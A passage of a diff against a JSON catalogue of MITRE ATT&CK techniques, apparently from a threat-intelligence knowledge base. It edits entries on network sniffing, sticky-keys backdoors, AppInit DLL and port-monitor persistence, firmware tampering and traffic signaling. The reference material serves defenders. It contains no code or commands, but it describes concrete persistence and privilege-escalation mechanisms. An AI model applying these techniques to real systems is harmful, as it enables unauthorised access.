"https://attack.mitre.org/techniques/T1100", "https://capec.mitre.org/data/definitions/650.html", @@ -22121,17 +19750,12 @@ "value": "Automated Exfiltration - T1020" }, { - "description": "Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)", + "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), addition of new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.", "meta": { "external_id": "CAPEC-440", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "Application Log: Application Log Content", - "Drive: Drive Creation", - "Network Traffic: Network Traffic Flow" - ], "mitre_platforms": [ "Windows", "Linux", @@ -22142,6 +19766,7 @@ "https://attack.mitre.org/techniques/T1200", "https://capec.mitre.org/data/definitions/440.html", "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html", + "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained", "https://www.youtube.com/watch?v=fXthwl6ShOg", "https://www.youtube.com/watch?v=lDvf4ScWbcQ" ] @@ -22153,14 +19778,6 @@ "description": "An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or algorithm, or a more common compression library or utility such as 7zip, RAR, ZIP, or zlib.", "meta": { "external_id": "T1002", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1002", "https://en.wikipedia.org/wiki/List_of_file_signatures" @@ -22179,7 +19796,7 @@ "value": "Data Compressed - T1002" }, { - "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring) (Citation: GCP Packet Mirroring) (Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring) (Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic. (Citation: Rhino Security Labs AWS VPC Traffic Mirroring)", + "description": "Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.", "meta": { "external_id": "CAPEC-158", "kill_chain": [ @@ -22194,17 +19811,11 @@ "Linux", "macOS", "Windows", - "Network", - "IaaS" + "Network" ], "refs": [ "https://attack.mitre.org/techniques/T1040", - "https://capec.mitre.org/data/definitions/158.html", - "https://cloud.google.com/vpc/docs/packet-mirroring", - "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html", - "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview", - "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512", - "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/" + "https://capec.mitre.org/data/definitions/158.html" ] }, "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", @@ -22214,13 +19825,6 @@ "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", "meta": { "external_id": "CAPEC-550", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1050", "https://capec.mitre.org/data/definitions/550.html", @@ -22292,14 +19896,6 @@ "description": "Adversaries can use binary padding to add junk data and change the on-disk representation of malware without affecting the functionality or behavior of the binary. This will often increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.\n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blacklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)\n", "meta": { "external_id": "CAPEC-572", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1009", "https://capec.mitre.org/data/definitions/572.html", @@ -22341,8 +19937,7 @@ "Linux", "macOS", "Google Workspace", - "Containers", - "Network" + "Containers" ], "refs": [ "https://attack.mitre.org/techniques/T1110", @@ -22443,13 +20038,6 @@ "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", "meta": { "external_id": "T1103", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1103", "https://msdn.microsoft.com/en-us/library/dn280412", @@ -22474,13 +20062,6 @@ "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "meta": { "external_id": "T1013", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://msdn.microsoft.com/en-us/library/dd183341", "https://attack.mitre.org/techniques/T1013", @@ -22504,13 +20085,6 @@ "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", "meta": { "external_id": "CAPEC-558", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", "https://attack.mitre.org/techniques/T1015", @@ -22551,15 +20125,7 @@ "https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/" ] }, - "related": [ - { - "dest-uuid": "74e6003f-c7f4-4047-983b-708cc19b96b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "e399430e-30b7-48c5-b70a-f44dc8c175cb", "value": "Clipboard Modification - T1510" }, @@ -22567,14 +20133,6 @@ "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", "meta": { "external_id": "T1150", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1150", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" @@ -22596,12 +20154,6 @@ "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system and /usr/lib/systemd/system directories and have the file extension .service. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system and /usr/lib/systemd/system directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/ to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)", "meta": { "external_id": "T1501", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux" - ], "refs": [ "http://man7.org/linux/man-pages/man1/systemd.1.html", "https://attack.mitre.org/techniques/T1501", @@ -22646,7 +20198,7 @@ "value": "Shared Webroot - T1051" }, { - "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", + "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", "meta": { "external_id": "T1106", "kill_chain": [ @@ -22715,13 +20267,6 @@ "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.", "meta": { "external_id": "T1160", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1160", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", @@ -22746,14 +20291,6 @@ "description": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", "meta": { "external_id": "T1107", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/", "https://attack.mitre.org/techniques/T1107" @@ -22800,13 +20337,6 @@ "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "meta": { "external_id": "T1109", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1109", "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html", @@ -22829,12 +20359,6 @@ "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", "meta": { "external_id": "CAPEC-532", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html", "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", @@ -22864,14 +20388,6 @@ "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", "meta": { "external_id": "T1022", - "kill_chain": [ - "mitre-attack:exfiltration" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", "https://attack.mitre.org/techniques/T1022", @@ -22908,12 +20424,6 @@ "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", "meta": { "external_id": "CAPEC-132", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1023", "https://capec.mitre.org/data/definitions/132.html" @@ -22947,20 +20457,12 @@ "https://developer.android.com/guide/components/broadcasts#changes-system-broadcasts" ] }, - "related": [ - { - "dest-uuid": "3775a580-a1d1-46c4-8147-c614a715f2e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", "value": "Broadcast Receivers - T1402" }, { - "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).\n\nAdversaries may also deceive users into performing actions such as enabling [Remote Access Software](https://attack.mitre.org/techniques/T1219), allowing direct control of the system to the adversary, or downloading and executing malware for [User Execution](https://attack.mitre.org/techniques/T1204). For example, tech support scams can be facilitated through [Phishing](https://attack.mitre.org/techniques/T1566), vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or [Remote Access Software](https://attack.mitre.org/techniques/T1219).(Citation: Telephone Attack Delivery)", + "description": "An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of [Phishing](https://attack.mitre.org/techniques/T1566).\n\nWhile [User Execution](https://attack.mitre.org/techniques/T1204) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).", "meta": { "external_id": "T1204", "kill_chain": [ @@ -22987,8 +20489,7 @@ "Containers" ], "refs": [ - "https://attack.mitre.org/techniques/T1204", - "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery" + "https://attack.mitre.org/techniques/T1204" ] }, "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", @@ -23009,7 +20510,7 @@ "value": "Task requirements - T1240" }, { - "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", + "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.(Citation: Cisco Synful Knock Evolution) (Citation: FireEye - Synful Knock) (Citation: Cisco Blog Legacy Device Attacks) To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL) (Citation: AMD Magic Packet)", "meta": { "external_id": "T1205", "kill_chain": [ @@ -23035,8 +20536,8 @@ "https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN", "https://www.amd.com/system/files/TechDocs/20213.pdf", "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", - "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631", - "https://www.mandiant.com/resources/synful-knock-acis" + "https://www.fireeye.com/blog/threat-research/2015/09/synful_knock_-_acis.html", + "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" ] }, "uuid": "451a9977-d255-43c9-b431-66de80130c8c", @@ -23066,13 +20567,6 @@ "description": "The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" (Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout that is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache 